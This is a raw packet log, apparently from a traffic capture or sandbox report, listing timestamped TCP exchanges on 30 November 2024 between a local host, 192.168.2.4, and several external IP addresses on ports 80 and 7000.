Nov 30, 2024 18:08:30.310308933 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.310451031 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.310487986 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.311249018 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.311290026 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.311440945 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.311480999 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.312325954 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.312438011 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.312485933 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.313266993 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.313313007 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.313452005 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.313496113 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.314268112 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.314317942 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.314440012 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.314491034 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.315267086 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.315494061 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.315541029 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.316323042 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.316488981 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.316602945 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.316660881 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.317307949 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.317353964 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.317497969 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.317549944 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.318326950 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.318373919 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.318509102 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.318562984 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.319339991 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.319386005 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.319555998 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.319603920 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.320354939 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.320401907 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.320547104 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.320625067 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.321369886 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.321557999 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.321611881 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.322366953 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.322424889 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.322535038 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.322576046 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.323697090 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.323949099 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.324001074 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:31.606790066 CET	49785	7000	192.168.2.4	179.43.171.209
Nov 30, 2024 18:08:31.726807117 CET	7000	49785	179.43.171.209	192.168.2.4
Nov 30, 2024 18:08:32.028311968 CET	7000	49785	179.43.171.209	192.168.2.4
Nov 30, 2024 18:08:32.033546925 CET	49785	7000	192.168.2.4	179.43.171.209
Nov 30, 2024 18:08:32.153522015 CET	7000	49785	179.43.171.209	192.168.2.4
Nov 30, 2024 18:08:32.604370117 CET	49820	80	192.168.2.4	185.215.113.43
Nov 30, 2024 18:08:32.724452972 CET	80	49820	185.215.113.43	192.168.2.4
Nov 30, 2024 18:08:32.724551916 CET	49820	80	192.168.2.4	185.215.113.43
Nov 30, 2024 18:08:32.724701881 CET	49820	80	192.168.2.4	185.215.113.43
Nov 30, 2024 18:08:32.844597101 CET	80	49820	185.215.113.43	192.168.2.4
Nov 30, 2024 18:08:34.188195944 CET	80	49820	185.215.113.43	192.168.2.4
Nov 30, 2024 18:08:34.188263893 CET	49820	80	192.168.2.4	185.215.113.43
Nov 30, 2024 18:08:34.192538023 CET	49823	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:34.316710949 CET	80	49823	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:34.316768885 CET	49823	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:34.316881895 CET	49823	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:34.436703920 CET	80	49823	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:38.320631981 CET	49823	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:39.388745070 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:39.509159088 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:39.509232044 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:39.529777050 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:39.652184010 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:40.968208075 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:40.968367100 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:40.968449116 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:40.969157934 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:40.969209909 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:40.969377041 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:40.969386101 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:40.969433069 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:40.970120907 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:40.970206976 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:40.970364094 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:40.970372915 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:40.970408916 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:40.970798016 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:40.970856905 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:40.971182108 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:40.971302986 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.171744108 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.172136068 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.172188997 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.175832987 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.176009893 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.176064014 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.184410095 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.184665918 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.184720993 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.192886114 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.193082094 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.193149090 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.201411009 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.201637983 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.201662064 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.201702118 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.209927082 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.210129023 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.210139990 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.210184097 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.218601942 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.218799114 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.218862057 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.227010012 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.227236986 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.227293015 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.235492945 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.235707998 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.235758066 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.244015932 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.244232893 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.244282007 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.292257071 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.292336941 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.292653084 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.292712927 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.296571970 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.296679020 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.296715975 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.296775103 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.345474958 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.345644951 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.345654011 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.345685005 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.349654913 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.349787951 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.371665001 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.371866941 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.371925116 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.375973940 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.376032114 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.376156092 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.376200914 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.384457111 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.384527922 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.384675980 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.384747028 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.393052101 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.393230915 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.393285036 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.401571989 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.401711941 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.401746988 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.401793957 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.410727024 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.411094904 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.411164045 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.418580055 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.418637037 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.418781042 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.418827057 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.427139044 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.427186966 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.427340984 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.427390099 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.435672998 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.435718060 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.435813904 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.435858965 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.439615965 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.439666033 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.439846039 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.439892054 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.443593979 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.443643093 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.443815947 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.443861961 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.447635889 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.447683096 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.447809935 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.447855949 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.451575041 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.451637030 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.451773882 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.451818943 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.455574036 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.455622911 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.455789089 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.455832005 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.459568024 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.459611893 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.459775925 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.459820986 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.463545084 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.463593006 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.463757038 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.463799000 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.467515945 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.467562914 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.467725992 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.467771053 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.471524000 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.471570969 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.471720934 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.471766949 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.475532055 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.475584030 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.475714922 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.475758076 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.493659973 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.493707895 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.493840933 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.493886948 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.546648979 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.546694994 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.546854973 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.548628092 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.548690081 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.548827887 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.548877001 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.552629948 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.553699970 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.572890997 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.572952986 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.573054075 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.573263884 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.574870110 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.575067997 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.575117111 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.578865051 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.578910112 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.579061031 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.579210997 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.582654953 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.582849026 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.582911968 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.586673975 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.586724997 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.586875916 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.586919069 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.590641022 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.590683937 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.590850115 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.590892076 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.594671011 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.594715118 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.594842911 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.594886065 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.598017931 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.598061085 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.598208904 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.598253965 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.600363016 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.600406885 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.600589037 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.600632906 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.602735996 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.602782965 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.602967978 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.603017092 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.605112076 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.605159044 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.605318069 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.605361938 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.607485056 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.607530117 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.607701063 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.607748985 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.609855890 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.609900951 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.610052109 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.610095024 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.612219095 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.612262964 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.612431049 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.612473011 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.614603996 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.614645958 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.614798069 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.614861965 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.616997957 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.617039919 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.617234945 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.617278099 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.619421959 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.619729996 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.619791031 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.621759892 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.621812105 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.621948004 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.621994972 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.623965979 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.624010086 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.624187946 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.624233007 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.627243996 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.627255917 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.627293110 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.628505945 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.628546000 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.628701925 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.628746986 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.630765915 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.630812883 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.630971909 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.631016016 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.633042097 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.633080006 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.633245945 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.633291006 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.635555983 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.635615110 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.635669947 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.637805939 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.637975931 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.638025045 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.639847040 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.639894962 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.640038967 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.640080929 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.642151117 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.642406940 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.642452002 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.644364119 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.644409895 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.644570112 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.644614935 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.646707058 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.646835089 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.646897078 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.649015903 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.649096966 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.649352074 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.649400949 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.651225090 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.651412964 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.651469946 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.653410912 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.653466940 CET	49837	80	192.168.2.4	185.215.113.16
